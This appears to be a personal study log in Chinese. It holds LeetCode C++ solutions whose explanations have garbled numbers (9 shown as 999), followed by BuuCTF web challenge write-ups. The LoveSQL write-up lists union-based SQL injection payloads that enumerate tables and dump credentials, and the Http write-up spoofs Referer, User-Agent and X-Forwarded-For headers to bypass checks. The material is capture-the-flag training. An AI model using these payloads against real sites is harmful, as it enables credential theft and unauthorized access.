20240215

LeetCode

加一

当对数组 digits 加一时,只需要关注 digits 的末尾出现了多少个 999 即可。可以考虑如下的三种情况:

如果 digits 的末尾没有 999,例如 [1,2,3],那么直接将末尾的数加一,得到 [1,2,4] 并返回;

如果 digits 的末尾有若干个 999,例如 [1,2,3,9,9],那么只需要找出从末尾开始的第一个不为 999 的元素,即 333,将该元素加一,得到 [1,2,4,9,9]。随后将末尾的 999 全部置零,得到 [1,2,4,0,0] 并返回。

如果 digits 的所有元素都是 999,例如 [9,9,9,9,9],那么答案为 [1,0,0,0,0,0]。只需要构造一个长度比 digits 多 111 的新数组,将首元素置为 111,其余元素置为 000 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
class Solution {
public:
vector<int> plusOne(vector<int>& digits) {
int n=digits.size();
int i=0;
if(digits[n-1]!=9)
{
digits[n-1]++;
}
else if(digits[n-1]==9)
{
if(n==1)
{
digits[n-1]=0;
digits.insert(digits.begin(), 1);
}
else
{
digits[n-1]=0;
for(i=n-2;i>=0;i--)
{
if(digits[i]==9)
{
digits[i]=0;
}
else
{
digits[i]++;
break;
}
if(i==0)
{
digits.insert(digits.begin(), 1);
}
}
}
}
return digits;
}
};
验证回文串

最简单的方法是对字符串 s 进行一次遍历,并将其中的字母和数字字符进行保留,放在另一个字符串中。这样只需要判断是否是一个普通的回文串即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Solution {
public:
bool isPalindrome(string s) {
int n=s.length();
int i=0,x=1;
char zm[n+1];
for(i=0;i<n;i++)
{
if(('a'<=s[i] && s[i]<='z') || ('A'<=s[i] && s[i]<='Z') || ('0'<=s[i] && s[i]<='9'))
{
zm[x]=tolower(s[i]);
x++;
}
else continue;
}
for(i=1;i<=x/2;i++)
{
if(x==1) return true;
else if(zm[i]!=zm[x-i])
{
return false;
}
}
return true;
}
};
只出现一次的数字

定义数组,数字n出现一次,v[n]加一,最终v[n]为1的话就说明n只出现了一次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Solution {
public:
int singleNumber(vector<int>& nums) {
//30000个负数,30000个正数,1个0
int n=nums.size();
int i=0;
vector<int> v(60010,0);
for(i=0;i<n;i++)
{
v[nums[i]+30000]++;
}
for(i=0;i<60010;i++)
{
if(v[i]==1)
{
break;
}
}
i=i-30000;
return i;
}
};

BuuCTF

10、LoveSQL

尝试万能密码

image

有显示

image

尝试联合查询,查到3的时候回显正常

image

爆数据库password=:1' union select 1,2,database()#

image

爆出数据库名为geek

image

爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#

image

爆出表名为geekuser

image

爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#

image

爆出表名为l0ve1ysq1

image

爆列名password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #

image

id,username,password

image

爆数据:/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

image

查看源代码,得到flag

image

1
flag{7904eee7-45b3-4f8b-8eac-ecab975dac71}

11、Http

查看页面源代码,发现有个Secret.php文件

image

查看该文件,有一个网址

image

提示:It doesn’t come from ‘https://www.Sycsecret.com’,就是说这个页面得来自https://www.Sycsecret.com,添加referer即可

1
Referer头用于告诉web服务器,用户是从哪个页面找过来的

添加Referer:https://www.Sycsecret.com,send,提示Please use “Syclover” browser:请使用“Syclover”浏览器

image

1
User-Agent头用于告诉web服务器用户使用的浏览器和操作系统信息

添加User-Agent:Syclover,send,提示No!!! you can only read this locally!!!:不! !您只能在本地阅读!!

image

添加X-Forwarded-For:127.0.0.1,send,得到flag

image

1
flag{43a4b431-f334-44b4-bcb3-aadf626871ac}